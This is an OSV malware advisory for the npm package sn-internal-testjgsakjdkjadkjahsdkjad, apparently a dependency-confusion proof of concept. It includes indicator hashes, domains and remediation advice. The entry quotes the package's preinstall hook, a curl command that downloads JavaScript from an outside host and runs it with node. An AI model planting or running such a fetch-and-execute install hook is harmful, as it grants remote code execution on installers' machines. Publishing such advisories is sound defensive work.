MAL-2026-5646

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sn-internal-testjgsakjdkjadkjahsdkjad/MAL-2026-5646.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5646
Aliases
  • GHSA-cxhc-w3f2-3fx4
Published
2026-06-11T12:38:00Z
Modified
2026-06-16T01:46:46.789790337Z
Summary
Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe)

package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install, the script fetches an unpinned, mutable JavaScript file from poc.amanrawat.com over plain HTTPS and immediately executes it with node under the installer's user account. There is no hash or signature verification, no version pinning, and the destination is not a recognized runtime/CDN or publisher-owned host. The package name (sn-internal-testjgsakjdkjadkjahsdkjad), description ("This is our internal app for testing"), and the poc. (proof-of-concept) hostname indicate this is a dependency-confusion / supply-chain PoC, but the install-time payload is a real and unconditional remote-code-execution primitive against any installer.

Source: ghsa-malware (73c4d1ca16d75bd52c1faca9dd24b2a3486a274552372399f66597d58ab281c3)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "versions": [
                "2.1.1"
            ],
            "sha256": "41f34acb7ed9ab6c864394a7258065fc250cef58f144602ba585a80ed47ea70b",
            "modified_time": "2026-06-11T12:38:01Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-005711",
            "import_time": "2026-06-11T13:27:19.212442801Z"
        },
        {
            "versions": [
                "2.1.1"
            ],
            "sha256": "b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe",
            "source": "amazon-inspector",
            "modified_time": "2026-06-11T12:38:00Z",
            "import_time": "2026-06-11T13:27:19.06337463Z",
            "id": "IN-MAL-2026-005710"
        },
        {
            "sha256": "73c4d1ca16d75bd52c1faca9dd24b2a3486a274552372399f66597d58ab281c3",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "source": "ghsa-malware",
            "modified_time": "2026-06-15T23:57:35Z",
            "import_time": "2026-06-16T01:31:34.715570276Z",
            "id": "GHSA-cxhc-w3f2-3fx4"
        }
    ]
}
References
Credits

Affected packages

npm / sn-internal-testjgsakjdkjadkjahsdkjad

Package

Name
sn-internal-testjgsakjdkjadkjahsdkjad
View open source insights on deps.dev
Purl
pkg:npm/sn-internal-testjgsakjdkjadkjahsdkjad

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

2.*
2.1.1

Database specific

indicators
{
    "package_integrity": [
        {
            "filename": "sn-internal-testjgsakjdkjadkjahsdkjad-2.1.1.tgz",
            "hashes": {
                "sha512_sri": "sha512-BZzRqAQg1L2kpf3XgjtQ61Cvm34VGzH6NMEaaAeTGxfq1x3qXuptgVX+nKrdvR1TAZMItqyvAACfylyeNb9oEQ==",
                "sha1": "0284fcaa940c19713b65c095d6cc25e487a80f5a"
            }
        }
    ],
    "evidence_files": [
        {
            "sha256": "85ab811a823394742db74f41af4c60e983b02e9b152f04be2e5394ebadbd3e30",
            "path": "package.json",
            "tlsh": "c9e0d8728b63553745c411a6ccaad81fd6528e2b0516780863af052c819a67794fe71d"
        }
    ],
    "domains": [
        "poc.amanrawat.com",
        "webhook.site"
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sn-internal-testjgsakjdkjadkjahsdkjad/MAL-2026-5646.json"
cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]